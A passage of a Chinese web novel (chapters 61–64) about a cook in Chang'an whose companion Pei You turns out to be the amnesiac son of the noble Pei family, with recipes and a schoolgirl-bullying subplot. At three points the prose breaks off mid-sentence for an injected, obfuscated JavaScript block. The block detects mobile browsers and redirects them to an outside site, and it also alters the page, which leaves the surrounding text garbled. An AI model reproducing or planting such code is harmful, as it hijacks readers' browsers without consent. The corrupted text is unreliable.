裴钰候在边上赔笑，苏眠雪吃完汤圆暖了肚子，心底放不下怕出了乱子，安抚好裴攸，等人过了二楼直上三楼时，才跟在后边一起上去。 其他人许都被挡在外边，苏眠雪拨开人群站在最前边，透过黄色的窗纸隐隐可见人影，但听不着里面的话，只能干等着。 站了好一会，围在外边的只能听到对方的呼吸声，数十双眼盯着里头，恨不得看出挡住的门和墙。 有人在等里面贵客的满意，有人在等里边贵客能否打消收走酒楼的念头。 过了良久，门终于打开，裴钰眉头不带松懈，盯着地上的鞋，久久不能开口，咬着牙似含着来不及灭去的怒意，垂下手。 轻声道：“我会努力的。” 再努力些说服尚书夫人，劝她放弃这家酒楼的盈利。 61. 八宝肉圆 苏眠雪皱着眉矗在原地，按住他的肩膀，将人往边上推了半步。 不等她下定决心进去理论，花了大价钱做得厚重木门推开，年纪稍老面相严肃的老嬷嬷从里头出来。 身上自带着一股威压，令边上一圈的人自觉退开。 苏眠雪深吸了口气儿，张开嘴半天发不出一个字，被后边的人拉开，几人挤在一块，将路让了出来。 几位衣着不凡的华美妇人从里头陆续出来，其中为首的那个身上威压最是沉重，柳叶眉丹凤眼，便是未动声色，走在众人前边也叫人闻风丧句。 苏眠雪在心里偷偷道：瞧瞧这人，就是单纯走个步子都给人一种不好惹的，底下瞧瞧就知道不是好生相处，能够好说话的。 为首的便是裴府的尚书夫人，裴钰那八竿子打不着关系的姨姨。 隔了太多，他家早早分出去，但民不与官斗，现下不过一切听从吩咐行事。 三楼的炭火足够，穿着厚衣的几人早就被热得头脑发胀，但裴夫人跟下了决心一般要给个下马威，看了好一会，最终将目光落在苏眠雪身上。 这道目光从出来起就在她身上，只是先前没那么明显张望，这会是直直的要将她看穿。 她硬着头皮，艰难迎着这道目光，抬头看到的那眼又立刻底下。 人来到那都会去顺应着标准来生存，刚刚那眼的穿透力很强，过了好一会儿，目光终于挪开，挂了珠玉的鞋履触在地上哒哒作响。 就像雨天的水珠打在芭蕉叶上，滚落在地的淡淡滴答。 “夫人多虑了，淮州这般大，一个乡野出来的村妇，怎会知晓少爷的底细。” 略显苍老的声音慢慢消散，沉重的木门压过女子的轻叹，在这场雪夜中落毕。 众人长舒了一口气，撑着墙扶住发软的腿，有人哭丧着脸唉声怨气：“这尚书夫人终于走了，以前虽然看着就不好惹，但也没现在这般，要吃了人一样。” “怎的你还见过这位裴夫人？” “以前在苏来斋干活，但我心比天高啊，边上的酒楼花了双倍银钱来捞我，想要我带出苏来斋的秘方，但你知道，我就一个小二，哪里知道这些，这不就被辞了，那理由那叫一个花言巧语。若非是我去当掌勺，以为我稀罕呢。” 人群散去，苏眠雪回过神，问道：“尚书的少爷，和淮州有什么关系。” 裴钰挠头笑：“这个啊，我也不知道。只知道是四堂兄去年和定王一块去了淮州，王爷回来了，但四堂兄人还在淮州，可能在安王府内吧。” “不过你问这个做什么，我虽叫她一声姨姨，但也没半分关系，你若要打听也没用，裴府里面的事只知道些想让我们知道的，况且四堂兄已经定亲，姑娘身份尊贵是位县主。” 再问多得裴钰也是一问三不知，身份她也差不多了解了些。 裴钰一家早在他爷爷那辈就被分出去了，一些回到祖宅那，只有这家更亲近些，留在长安城多有照顾。 但这照顾也止于他们最后这一代，两家链接着脐带不知哪天说断就断，做着生意来维持家中开销，不过惹了事再找尚书府那一脉解决。 小二将里边的酒菜一一端走，皆是被动过的样式，显然只是聊了几句。 “裴氏里头应该是出了乱子，不然裴夫人也不会把目光打在这家酒楼上，她想拿大头，但我不肯，就怕这样一僵持，吃亏的还是我们家。”裴钰坐在椅子上嘀咕着。 “她既然和你商量，现在还没拿走酒楼的地契，一切都还有回转的余地。”苏眠雪站得累了，随意推开一扇门，裴钰跟在后边，看她轻车熟路的样子略微赞叹，听她道，“清风楼一年不过千余两，我想裴夫人当看不上这点蚊子肉。” 裴钰轻松说：“姨姨那还有回转的余地，我现在只在乎你有没有留在酒楼的余地，毕竟这家酒楼能起来不都多亏了你么。” 他当个甩手掌柜每月拿些银子，年底再分红，除了一开始的银钱，后面的都是酒楼赚得钱在投入，与其说酒楼是他的，不如说他只是资助了些银钱。 况且苏眠雪并非特别缺银子的，长安地价高，咬咬牙还是能付清，麻烦的是后边的一系列开销。 顺水推舟做个人情，依旧是每月拿着银子偶尔来瞧瞧，裴夫人若是问起也有理由拒绝。 “你是想改个酒楼名吗，若是想，改个名字也成，我志不在此，一开始只想找点事做做证明自己并非无所事事的，你若真把店抛给我，就怕这些厨子小二也跟着跑，又要接着喝西北风。” 他话不假，店里的人都明了，跟谁有用，那位走了肯定也要跟着离开。 工钱高又如何，等钱都败光了不又退回去。 清风楼的顶梁柱是苏眠雪。 免费送来的地契苏眠雪心动不已，索性将自己手下的五百两让出三百两，剩下的银钱买下一块地，雇个人来种菜，以此来制糖，盐受官府操控但糖却没有。 无他原因，糖被地方世家所垄断，当今天子不愁这些糖，但百姓却愁。 糖贵！ 比淮州的价格翻了两倍不止，家家户户一年买下一斤白糖都要不少银钱。 所以长安添了糖的糕点也贵，味道又是顶顶的香甜。 “这块铺子我收下，钱你拿了，往后分红自然要减。”苏眠雪沉思着，“你若愿意，我就留下。” 这块地方好，拿下一块铺子算他千两银钱，往后分红就是减至三成也不会少他的。 裴钰一口答应，他目的在于留下苏眠雪，一时缺了银子不要紧，就怕好不容易起来的，人都跟着跑了，他要往哪去找。 每日待在这酒楼里边，连个放心的管事都没，他也不乐意这种日子日复一日过着。 长安风雪霜霜，见不着半分色彩，皆是笼在一片雪色下。 地上铺了厚厚的雪，踩下去不见脚印，只留下能没过小腿的深坑。 城门前近日把关严苛，百姓听不见外边的风声，所到之处只见手里转着的精致灯笼，和各色衣裙在霜雪下若隐若 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13481944|130063||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 现的靓丽。 今日因为裴夫人的到来歇业的早，厨房里的厨子围成一圈，就见苏眠雪熟练的把猪肉剁成肉酱，里头肥瘦参半，刀片滑起一片再摔下，反复几次肉酱细腻均匀，分不出肥肉和瘦肉，只能见一片的粉。 她甩甩酸痛的胳膊，将松仁、香菇、笋尖、荸荠、瓜、姜斩成细末，两勺盐和白胡椒粉，加芡粉和匀捏成丸子，六颗丸子放在盘中，倒入甜酒和酱油，交给边上一个厨子令其蒸好。 众人见这方法做得新奇，平常吃得肉圆只加马蹄，这道却足足加了六道。 裴攸看得多了不足为奇，苏眠雪见多识广，外有一本美食菜谱，她点子多也不为过。 肉丸蒸好，相貌和其他丸子差别不大，不一样的地方在于表面多了许多料，肉丸沾了盘中的料，被人分成四瓣，一共二十个小块，手里拿着筷子夹起其中一小块入口，口感松脆，和普通肉圆一点也不一样！ “没想到当家还有这等手艺，我一直以为当家不会做饭嘞！” “是啊，这肉圆看得和平常吃得没两样，但口感脆脆的，跟在吃有肉的咸味脆果子一样。” 八个厨子你一言我一语，各人分了一块，裴攸慢条斯理夹起盘子中剩下的，其他的便拿给了边上的小二，尽可能让每个人都能吃上一口。 轮到后边，肉圆只剩下一口热气，好在味道足够鲜美，便是只剩余温那点微热，入口依旧美味。 裴钰姗姗来迟，见到光掉的空盘一阵气恼，还有阿福和阿财两边腮帮子鼓着，一看就没少偷吃。 “这位公子好生眼熟。”他伸出手指着模糊的背影，“看得有点像我那姨姨。” 裴钰甩甩脑袋，他怎么想的，没吃到一块肉，都开始发昏了。 背影像又怎样，那背影一瞧就消瘦似柳拂风，担不起裴氏的架子。 他打消念头，来得匆匆去也匆匆，糊涂了，外边天都黑了该回家了。 苏眠雪起先没把这事放在心上，她今日走得早，带着裴攸先离开。 苏眠雪提着手里的灯笼，豆大点火光映着脚下的路，不经意间端看着近在眼前的面容，总觉得这极薄的唇，还有这双淡漠的眉眼，像极了来此的裴夫人。 都姓裴，真有这么巧吗。 裴攸和其他人相比的确不太一样，苏眠雪悄悄打量着，很快拉回脑中乱飞的思绪。 路边光溜溜的枝上挂着彩色灯笼，拿各种颜色纸糊着，似开在雪中的花。往边上转转，铺子都未歇业，里面亮堂着灯。 苏盈等候多时，入眼的院子简单朴素，一间厨房和三间小小的屋子就是全部格局，暗黄色的灯在雪下熠熠生辉。 手中的食盒被摆放在桌子上，底下有炭火隔着，肉圆还散着热气，苏眠雪将她眼前的发丝撂到耳后，温和道：“等久了，先吃夜宵。” 苏盈接过肉圆，柔声说：“阿姐，今儿裴府的夫人来了，说是请你明天去一趟。” 苏眠雪微微一愣，随后点头道：“嗯，我知晓了。” 62. 酸豆角豆腐馎饦 雪色蒙蒙，一盏微亮的豆大灯火跳跃着，试图点亮彻夜。 灯笼挂在厨房前，取了面粉加少许的盐和清水，揉好面团，用小刀切成剂子下清水中浸泡，以增面团的延展性。 酸豆角和豆腐切块，锅里起了热油，瘦肉丁下油锅炒熟，油花四溅，苏眠雪紧接着又撒了一把葱花下去，肉已经变色，翻炒之后倒入一盆冷水，油花被封存着，浮在水面上立刻噤声。 泡在清水中的剂子已经浑浊，飘着一层白粉，捞出剂子，将其轻轻一扯，向着边上延伸，捏成薄薄一片放入水中，等到面皮飘在水面，倒进酸豆角和豆腐块，待火开滚沸，酸豆角豆腐馎饦煮好。 移开底下的木炭，小心翼翼分在四个手炉中，外边天色透了点光。 光束穿破阴湿灰暗的，从窗柩中透过，见一轮月牙儿弯弯。 两碗放在灶头中暖着，一碗则是端在边上的小桌上，将一个手炉放在腿边，隔着厚重的衣服以此来取暖。 吃完饭，等她走到裴府，天色已经大亮，手里的灯笼违和，可惜找不到能落脚的地。 裴府门前站了两位是她意想不到的人，罗夫人和阿芷夫人。 罗夫人比一年前更年轻了些，手里抱着袖炉，两边衣摆被两个孩子拽着，孩子和从前相比有了蜕变。 见着她，异口同声喊道：“眠雪姐姐。” 苏眠雪意外之后便是惊喜，不过喜色存不了多久，立刻屈下身子依葫芦画瓢不成样子的礼节。 “苏姑娘，你来了。”罗夫人缩回在外的手，捏着手里的袖炉淡淡，“我听说是淮州来的厨子，就想着来碰碰运气，没想到真是你。” 罗夫人虚扶她一把，到底没有稳稳扶住，而是受了她这一礼，嘱咐道：“裴府乃百年世家，历经五代余年，现如今虽非公侯之家，但祖上荫蔽，难免规矩重，见着夫人，垂下脑袋，腰要下去。” 从前关系如何，都是雇主关系，眼下的欣喜不过是重逢后，在异乡见着从前的人。 三人而言，苏眠雪属于那位外来者，身份有别，也仅仅是惊喜重逢，破不了阶级的规矩。 阿芷神色淡淡，瞧不出多少情绪，低声道：“先进去吧。” 苏眠雪跟在后边，眼梢略快扫过裴府的大院，进去后平平无奇，但过了一道门，就能见假山假水丛丛，即便是冬日，廊下也摆了不少新鲜花卉，映入眼帘除去地上的残雪，是春日的景象。 阿芷轻声道：“裴氏是百年望族，规矩不同于平常，苏姑娘切记谨言慎行。” 苏眠雪收回乱飞的眸子，只见离着自己不到一米的景色，和脚下的路。 裴府是极大的，连着绕过好几道门，脚下的景观一变再变，处处彰显着百年望族的风雅傲骨。 花草看似简单，实际各个名贵。 冬日里哪有大价钱来维护这一光景，一边下着雪，一边是春色满园。 走了莫约一刻钟，阿芷和罗夫人终于停在一处屋舍前，两人相比下罗夫人更显局促，显然不适应这一场面。 而阿芷已经熟络踏进扇门，外边有侍女帮着撩起帘子，苏眠雪就跟在罗夫人后边，然站在一旁，听着二人闲聊，罗夫人在边上应付几句。 良久，裴夫人搭着侍女的手靠在椅子后边的软垫，上下打量着她，冷道：“就你一人来吗。” “是，就民女一人来。”苏眠雪屈下身，学着边上的侍女的模样行了一礼。 虽然不知道这里边的礼节，但跟着做准没错。 裴夫人稍了她两眼撇下眉，还没叫起她便自己先起来了。 在裴夫人看来是个准没礼仪规矩的。 她看了一眼阿芷，阿芷为其询问：“和你一块的公子呢，怎没见他来。” 她听罗夫人谈起，那公子经常和她一块来。 并且那公子有些眼熟，她和裴氏从前沾不了半分，一个名门望族一个寒门之妻，也是从别人口中听说裴家大公子和四公子斐然成章惊才艳艳的名。 大公子和四公子皆是裴夫人所出，前些年大公子从马上落下，瘸了腿这辈子无缘仕途，裴府的继承权自然落在四公子头上。 但裴府还有二公子和三公子，出身不及四公子，胜在两位姨娘都是得宠的，在裴府有头有脸的人物。 苏眠雪不知晓裴府的弯弯绕绕，之前没细想裴攸的身世，但都是裴这个姓，难免不由猜测，最后坐下事实。 “夫人若想见，民女可以带您去见他。”苏眠雪有礼说着，低垂着目光但不卑不亢，好似着权势在她眼中是不值一提。 裴夫人心里没由头的打着一股气。 自己儿子一心只读圣贤书，心思单纯难免被人利用，由着这个女人，就怕后面会生不少事端。 只能祈祷那位跟来的公子非是她的孩儿。 但心中又免不住矛盾，若是那人非是自己的孩儿，她那幼子又在何处，难不成正因着他们站错了队，便要遭此磨难？ 圣上正值壮年还坐于庙堂上，裴夫人心焦力竭，只能将最后的希望注于苏眠雪身上，哑然道：“去一趟也无妨。” 将近年关，城中人不免懈怠，任由大雪堵了道路，好在康安坊皆是城中有头有脸的，外边积雪已被清扫，所行之地一路无阻，便是到了平头百姓住得地方，马车在狭小的路段不能进去，堪堪停下，迫不得已移步进去。 太平坊乃平民百姓居住的地方，屋舍没有康平坊一带的气派，更为烟火气一些。 随意走几步都能遇到三两成群谈论，见到为首的裴夫人悄悄转过头看几眼，又立刻收回目光，小声嘀咕着。 到家中，院子里空无一人，苏眠雪将每个屋子都找了一遍，都没有裴攸的踪迹。 不知道那人去了哪儿，眼下裴夫人在此又拖不了，她往外边走对站了好一会的夫人说：您白跑一趟了，裴攸这会不在这。 苏眠雪已经想到后边有多精彩，难不成去酒楼里头找他，让裴夫人见着他洗碗扫地擦桌的样子。 若是只撞了一个姓，那也是白跑一趟，若是见着了，裴夫人严苛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13519260|130063||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，也不像是能够不当事的。 苏眠雪纠结着，轻叹了声气，不管前者还是后者，她身上都担了一个救命恩人的名头，若非她和李大牛将裴攸带回来，人早就不知在哪了。 外头裴夫人几人等了良久，来的人不少，门外还有几个守着，三位夫人最少个带了两位侍女，一伙大半端庄贵气的拥在小院里，更加显得拥挤。 况且地上积了雪，能站得地方不多，几个人缩在一块，等得久了不满情绪压在心底疯狂积累。 见着她出来，唯一的好脸色也消失无踪，边上侍女问：“公子人在哪呢？” 苏眠雪虚行一礼：“裴攸人不在家里，许是有急事出去，夫人稍等片刻，或等他回来时，带他亲自去见您。” 做好的结果莫过于等裴攸回来，她再带着人亲自去裴府，让裴夫人认一认。 “攸儿！”裴夫人一阵惊呼，掐着边上的侍女，原本无波无澜的眼立刻亮堂起来，裴攸两个字似乎触碰了某个机关，原本死气沉沉的裴夫人腰杆直了不少，“现在，现在去把他找来，我要见他！” 苏眠雪站在边上一言不发，为了免着裴夫人突然发难，她往边上挪了两步，从她正向的视野看，唯有一览无余的雪景，和青灰色的石瓦。 裴夫人清明了不少，只觉得身上繁重的压迫终于消散了些。 目光重新落在苏眠雪身上，觉得眼前穿着淡雅衣裙，略显臃肿的少女都顺眼了不少。 普通人家需要干杂活，好看的衣裳在身上只是摆设，就是有银子购置，除了特定的日子，也不会穿出来。 衣服难洗，这不就是故意找些事来做么。 她衣服里头裹了厚厚的夹袄，外面套着棉衣，从边上看腰部就像一个水桶。 少女并非沉默寡言的性子，边上的侍女往她这走了两步，放软声：“姑娘，您可知晓公子他常常去哪？” 苏眠雪回道：“他经常会在周坊邻居处逛逛，不过今天尚早，也可能是去了杏花书院。” 后边两个侍卫和侍女立刻依着她的话出去寻找，裴夫人站在屋檐下，一伙人也就挤在狭小的屋檐下。 她出门时怕冷特意多穿了件衣服在里面，又怕不够美观，选得都是相较单薄的，外边的衣服，也是特意挑选。 眼下站得久了，有细微的雪斜着飘，落在衣摆下，衣摆被细雪浸湿，慢慢侵透着，僵硬地缩了下脚趾，越动越难受，干净鞋子里多塞了东西，相互挤压着。 等了好一会儿，四人后边跟着裴攸和苏盈。 苏盈散着乌发，一张小脸倔着，高高仰起脑袋，见着她的那刻，豆大的泪珠泣数行下，很快又生生憋了回去。 裴攸牵着苏盈，小声交代：“先回屋里去，等会你阿姐再去寻你。” 待苏盈离开，他朝裴夫人弯下腰行了一礼，白雪落在肩头，跟着他的举动而动着，顺着湿了肩的衣裳而落。 “夫人，在下并不认识您，还请莫要为难我等，我等只愿过平常日子，从未有过攀权附贵意。” 63. 咸泡饭 风雪之下，一时间只能听到风声呼啸，和埋在怀中，心脏有力的跳动，明明听不着，却又用力的感受。 局势一瞬间的僵持寂静。 裴攸湿了发，肩上很快又落了一层雪。 男子容貌绝色，仔细看着，发现他那双幽如潭水的眼眸，所绽放的，上挑着眼梢像极了裴夫人。 裴夫人震惊地张开嘴，发出细微的声语，“你，你真的不认识为娘了！” 她目光中是从未有过的不可置信，身居高位掌握全局，显然被这次突如意外打了一个猝不及防。 她捂着心口，母子连心，这一下下如刀子扎在心里，不由将怨恨的目光重新置于苏眠雪身上。 苏眠雪动着冻僵的脚，有些滑稽上前走了两步，打破这场僵局：“裴夫人，裴……公子先前伤得重，忘了些东西，才会忘记您，大夫与我说过，都是时日问题，等他那日好了，便会想起从前往事。” 裴夫人心尖如刀割绞痛，回过神的侍女立刻将拿着手中伞为他撑着，道：“公子在外辛苦，外边的大夫怎会有长安的好，奴婢相信公子回了府，看着儿时光景物件，时日长久之后必会想起夫人。” “对，先带攸儿回去，今日这事就此结束，攸儿在淮州辛苦，眼下正需回府闭门修养。”裴夫人不轻不重看了眼罗夫人和阿芷，又道，“攸儿伤得重，她救了攸儿，莫要亏待了。” 侍女了然。 裴攸推去边上撑伞的侍女，冰冷的眸子是不可抗拒，音量清晰，冰冷：“夫人，在下并不认识您，在下和阿雪历经千辛前来长安，我们早就是一家人，非你一句话就能带走我，迫使我们分开。” “公子，您可知晓您在说什么胡话，您是裴府金尊玉贵的少爷，难不成要和这等平民女一块，自降身份吗？”裴夫人身边的侍女一时着急，“夫人为了您好几个夜晚不得安眠，您就是忘了其他事，总要记着自己的亲娘，总不能……总不能和这种女人厮混。” 侍女涨红脸，四下不知晓的人偷偷打量着这个侍女，阿芷瞧了一眼后立刻了然。 眼下局面多少猜透，裴府的四公子去了淮州遇险，被苏眠雪所救，两人日久生情，现下最是分开不得的时候。 裴夫人多半为了让裴攸回府，对苏眠威迫利诱，有这一份情谊在，又是良家女，将来做个贵妾，母凭子贵得夫人一个名头。 侍女将来撑死一个姨娘，这个年纪对身份和地位已经有了认知，怎能忍受府中有一个特殊的存在。 而苏眠雪则是头疼，拿过撑伞侍女手中的伞，举起伞，拉着袖子将人带上来。 两方隔了两米的距离，目光太过冰冷，裴夫人往前移了两步，裴攸的手靠着苏眠雪身上，男子身形虽然清瘦，但压下来的重量不轻，压着她蜷缩着身子，捂着口鼻抑着的咳嗽声闷哼，似被罩着的大钟，想要敲击，又不敢有太多声，苏眠雪搀着他胳膊。裴夫人顿住，想要去扶，又觉得不妥。 手里的帕子被绞着，被握着的那只手无由来的没了力气。 裴夫人家中清正，和裴府乃世交，自小定下婚事，明白自己是裴府未来的当家主母，从小要强的性格叫她不能居于旁人之后。 从前在闺阁中是小姐妹的头头，彼时裴府还有一个承恩伯的头衔，只是到了后面也就没了。 裴尚书早年青俊，自由一番族中风骨傲气，在朝中小有成就，时迁过境，重兴家族的重任随着酒肉美人而抛之脑后，裴夫人从始所求的都是一个一品诰命，和衔名。 二公子、三公子皆是两位爱妾所出，所幸裴尚书中年以后贪图享乐外，是实打实的敬重夫人，长子无缘仕途后，将一切希望都付在幼子上。 两人都是惊才绝艳之辈，眼下更是和永昌长公主之女的慧安县主有了姻亲，先帝子嗣不多，当今圣上注重血脉手足，自此留在长安的公主清贵，又和圣上长姐昭阳长公主交好。 昭阳长公主曾在朝中翻手为云覆手为雨，挟势弄权、横行霸道，听说从前得了一个女儿，但这位贵人也只是公主府中婢子传言，大臣曾言是大长公主不守妇道的报应。大长公主喜欢女孩，对慧安县主多有照顾，说是皇城中的掌上明珠都不为过。 裴府有了这么一个耳边风，两边为利益所连，情分深厚。 厚重温暖的品蓝色氅衣披在他身上，侍女将一盏精致小巧的袖炉塞到她手中，上边还有残留的余温，和绕在鼻尖的香味。 裴夫人带着人离开，院子很快空旷。 雪地下残留的脚印，和冷清的空气中带着脂粉香气，彰显着裴夫人一伙人的到来。 苏眠雪扶着裴攸回到屋里，屋子中的火盆还有星星火点，拿铲子翻动，底下的炭火翻了上来，移到靠着窗边的位置，她将袖炉塞进裴攸手中，见他疼得难受，一时间顾及不上躲回屋里哭泣的苏盈。 到厨房熬了一碗汤药，半日折腾已经到了中午。 药汁熬好，哭肿了眼的苏盈走出来，凌乱的发丝被梳得整洁，将熬好的药放在小盘子中端起。 苏盈精神恹恹，两人之间没有任何对话。 锅中有米饭，拿了小青菜和萝卜洗干净，青菜切断，萝卜刨丝，拿出新鲜的肉切成肉丝，肉丝加少许油翻炒，倒入热水，煮开后下米饭，加少许盐，小青菜和萝卜入续进锅中，翻动之后，盖上木盖焖着。 苏盈拿着小盘子和空碗回来，将碗浸入热水中，舀了些淘米水冲洗后，放进碗架，被大锅里热腾的香气勾起味蕾。 眼珠子盯着大锅转溜了一会，苏眠雪没什么反应，目光温和而淡定，她有什么魅力所在，明明只是在普通不过的女子，但眸中却又坚定。 苏盈认为苏眠雪无所不能，她或许在意什么，但绝对不会被某件事所做出改变。 “阿姐……”苏盈喏喏。 眼中的泪珠很快蓄起，苏眠雪眼疾手快，拿帕子擦去她的泪：“怎么了，大雪天的淋了一路，中午的时间又耽搁，这会做完饭都到下午，先把饭吃了，莫要饿着肚子，坏的是自己身子。” 一张只能纳下四人的小桌子被搬进厨房，冬天还在走廊下吃饭，吃得都是冰渣子。 锅里的饭焖了一会，苏眠雪舀出三碗，两碗放在桌子上，一碗拿漆盘端着，亲自送到裴攸屋中。 小青菜嫩中带点微甜，苏眠雪手艺好，这顿饭也简单，三两下就能做好，颜色清淡，汤汁是青菜的淡绿，搅动下藏着肉丝，苏盈吃着认真。 细细品着咸泡饭的味道，眼眶中的泪珠藏不住，憋在心底的委屈终于藏不住，入学起的雄心壮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13538814|130063||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 志在今日被打破。 她非是自由坚韧的竹子，她也曾怨恨为何不是家中悉心照料的娇花。 …… 当家圣上虽允女子入学读书，但也是为未来夫婿所考虑，有个贤内助在家中帮衬，还能为其出谋划策，乃是一大助力。 女子所想的所谋划的最后都会冠以男子之名，因那是她们的夫婿，她们需要为此付出的对象。 彼时昭阳的初心是为女子谋划一条出路，一条不需要依靠旁人的路，一条属于她们自己的道路。 而这条路被人刻意拆除、扭曲，再无人知晓这条路的初衷，无人知晓女子书院真正意义。 就像那背后付出的，被世人隐入尘埃下，无人再提起大长公主的事迹，唯有帝之长姐匆匆而过。 杏花书院中皆是十来岁的少女，正是喜爱攀比的时候。 她们比的东西有时简单纯粹，有时又藏有恶意。 少女间平时的玩乐高雅，杏花书院边上是处杏花林，地方不大，只有十来棵杏树，胜在边上是百川书院，招入不少各地学子在此备考。 而备考的学子，也成了少女倾慕和结交的对象。 她们穿着漂亮的衣裙在杏花林下望着从百川出院出来的学生。 柳俏怡带着书院里的姐妹，指着为首的，最好看的学生说：“你们都看见了吧，他便是我未来的夫婿，我认定了他，你们都不准同我抢！” 少女明媚娇艳，同冬日里的太阳高高挂着，一双小手拿乔着高高翘起，昂起小脸，脸上是数不尽的得意笑容。 她为自己的眼光所得意，为自己的未来所得意。 少女声音响亮，成了当时的瞩目。 而苏盈只是站在人群中，为了更快融入，交到好友而跟来的。 那为首的学生听到柳俏怡的言语，带着人径直走来，柳俏怡芳心荡漾，红着脸垂头等待少年的告白和爱慕。 哪知一句话叫她堕入冰川，也叫苏盈被狠狠羞辱了一顿。 他说：“在下只喜欢温顺如羔，勤劳朴实的女子，这位便不错。”他指着人群中穿着最不起眼的苏盈。 话音落下，对面那些男子轻蔑看着一众少女，跟着那为首少年离去。 紧接而来的，这是一位穿着水红色衣裙，眉眼清冷，面若观音的少女。 那少女苏盈和柳俏怡几人都认得，常在城西施粥，出了名的菩萨美人——梁纯。 同她的名字一样单纯美好。 但那巴掌的力气又重又快，打得是苏盈的耳朵处，耳朵被打得充血，梳好的头发也被打乱在一边。 梁纯得意地看着她们，指着苏盈说：“什么身份配什么东西，不属于的人，就不该肖想。” 她发间的金簪晃得苏盈眼睛疼。 她想要辩解，后边的人说：“那是梁侍郎的掌上明珠。” 苏盈闭上眼，撩起遮着耳朵的长发，耳根边上还印着五指，“我没事的。” 苏眠雪气得脑袋发昏，重重摔下筷子，还没拍下去的手被苏盈拉住：“那是梁侍郎的掌上明珠。” 风怕打着门窗，紧闭的门被人推开，一阵冷风灌入。 探进脑袋的少女神色胆怯，语气不足，询问道：“苏盈是住在这吗？” 64. 糕点 柳俏怡如打了霜枯萎的鲜花。 若是这份喜欢需要同窗的羞辱来换取一个轻微不足的眼神，她宁可舍弃这份喜欢。 那少年今年十七，但品德恶劣，她从一开始喜欢的是百川书院，和读书人自有的凛凛傲骨。 但对于他们而言，所需要的，只是能够帮助他们扶摇直上的青云路。 “对不起。”柳俏怡低下头，捏着手里的糕点，挪着步子一点点往她们这边走，然后双手奉到苏盈跟前，“是我祸从口出，害你遭了梁纯的打，这些糕点是从苏来斋买得，还有这个药，你每日涂三次，消肿用的。” 苏眠雪替苏盈接下糕点和药，少女原本发怵不敢看人的眼中迸发新的光亮。 苏盈摇头，轻声说：“不关你的事，你只是爱慕他，他可以不回应你的所想，但翩翩选了羞辱你我的法子，以此来贬低我们。” “要怪便该怪他，和那位侍郎千金。” 她是从乡野出来的丫头，从前在她的认知里，县令千金便是最尊贵的人，后来来了这。 一群衣食无忧的少女，她们身份有尊贵者在其中，同她格格不入。 但书中所写得大好河山，却又叫她为此倾慕。 对她来说，她愿以自己的学识，寸量她所在的土地，去见九州的不同风光。 攀高门这事，什么身份配什么东西，梁纯说得也没错。 平头百姓有自己的日子，若是突如其来的富贵，只会叫她应接不暇，最后闹出满头笑话。 “谢谢。”柳俏怡退了半个身子，趴在门边冲她眨眨眼，“姐姐，明儿我来找苏盈一块去书院，不会再叫她被人欺负。” 柳俏怡是趁着中午休息的时间来找她，苏盈请了半日学，今天受了莫名其妙的委屈，苏眠雪打算让她多歇息两天。 “盈儿？” 苏盈点头应下：“好，我明儿跟你一块。” 柳俏怡走后，苏盈打开食盒，糕点样式可爱，做了桃花和兔子的样式，掰开一块，里头是桃花酱，甜味淡如点睛。 少女心思单纯，跟猫一样探回脑袋跑了回去，苏眠雪洗净手，将她的长发拢到后边，有两道小口子沁了血珠。 “我没事的，梁小姐和我们不在一个书院，她每日都会等那位公子，但那位公子应该也不喜欢她，不然梁小姐也不会只站在远处。” 苏眠雪道：“便是不在一个书院，我也怕你受了委屈，明明是那人轻浮浪荡，害你无故被打了脸。” 书院中的议论可怕，她怕有人故意颠倒黑白。 非是她这人心思坏，而是怕着了道，接下来都不会安生。 这打得地方是特意挑选的，打在脸上过于明显，不用旁人细细观察，今早一同去的少女们随意的闲聊就能通通抖出去，十来岁的姑娘也有自己的尊严，料到苏盈为了掩盖挨打的伤势，会用头发掩住，威胁之后，这件事便不了了之。 苏眠雪先拿沾水帕子擦去发丝的汗迹和泪痕，药瓶打开，浓郁的药香从里边出来，指腹抹开草绿色的膏体，手上沾了药，涂抹在伤口处。 药膏冰凉，抹上去后炙热退散，耳垂轻轻颤着，苏盈摸着自己的耳朵，沾了些药在指上。 缩回手，散落的头发重新束起，耳朵露在空气中，厨房里头温热，并不会感受太冷。 苏盈哭了半日，现下掀着眼皮，吃过饭困意袭来。 苏眠雪清洗好碗筷，打算去趟裴攸的屋子。 又觉刚发生完的事立刻胁迫他去妥协，只会事与愿违，生生伤了和气。 她等了三日，在第三日回家的路上，心事重重，带着人停在枣树前，终于忍不住劝道：“裴府到底是你的家，在外边过了两个冬岁，裴夫人也熬白了头发。” 裴攸轻抿着唇，敛下眸问：“可我不认得他们，若是李大牛，你会劝他走吗。” 